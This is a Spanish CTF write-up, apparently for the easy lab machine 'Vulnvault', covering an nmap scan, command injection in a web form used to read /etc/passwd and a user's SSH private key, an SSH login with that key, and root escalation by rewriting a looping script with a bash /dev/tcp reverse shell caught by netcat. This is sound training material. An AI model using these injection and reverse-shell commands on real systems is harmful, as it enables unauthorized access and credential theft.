> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/vulnvault-write-up.md).
# Vulnvault write-up
## **Verificamos conexión con la máquina víctima**
## **Escaneo de puertos abiertos de la máquina víctima**
Utilizamos **Nmap** para realizar un escaneo de los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```
Esto nos indica que el puerto 22 (SSH) y 80 (HTTP) están abiertos. Así que ponemos la IP de la máquina víctima en el navegador y nos muestra lo siguiente:
Vemos un formulario donde podemos escribir un nombre de un archivo y la fecha, lo importante es que este formulario es vulnerable a un **RCE** (Remote Code Execution)
Así que vamos a ejecutar el comando `cat /etc/passwd` para ver los usuarios del sistema.
Esto nos indica que existe el usuario `samara`, así que ahora miraremos a ver si también podemos ver la clave privada del usuario del servicio SSH con el siguiente comando:
```bash
; cat /home/samara/.ssh/id_rsa
```
Lo cual efectivamente nos muestra la clave privada del usuario `samara`, así que ahora solo tenemos que guardar la clave privada en un archivo, darle permisos de escritura y lectura solo al propietario y ejecutar el siguiente comando:
```bash
ssh -i id_rsa samara@172.17.0.2
```
## **Escalada de privilegios**
Una vez dentro de la máquina víctima vamos a ejecutar el comando `ps aux` el cual nos indicará los procesos que se están ejecutando en la máquina.
Si nos fijamos vemos que se esta ejecutando en bucle el script `/usr/local/bin/echo.sh`, así que lo que vamos a hacer es cambiar el script para que nos envíe una reverse shell poniéndole lo siguiente:
```bash
#!/bin/bash
bash -i >& /dev/tcp/172.17.0.1/443 0>&1
```
Y después de cambiar el archivo solo nos tenemos que poner por escucha con **Netcat** con el siguiente comando:
```bash
sudo nc -nlvvp 443
```
Finalmente, ya tendríamos una shell con privilegios root.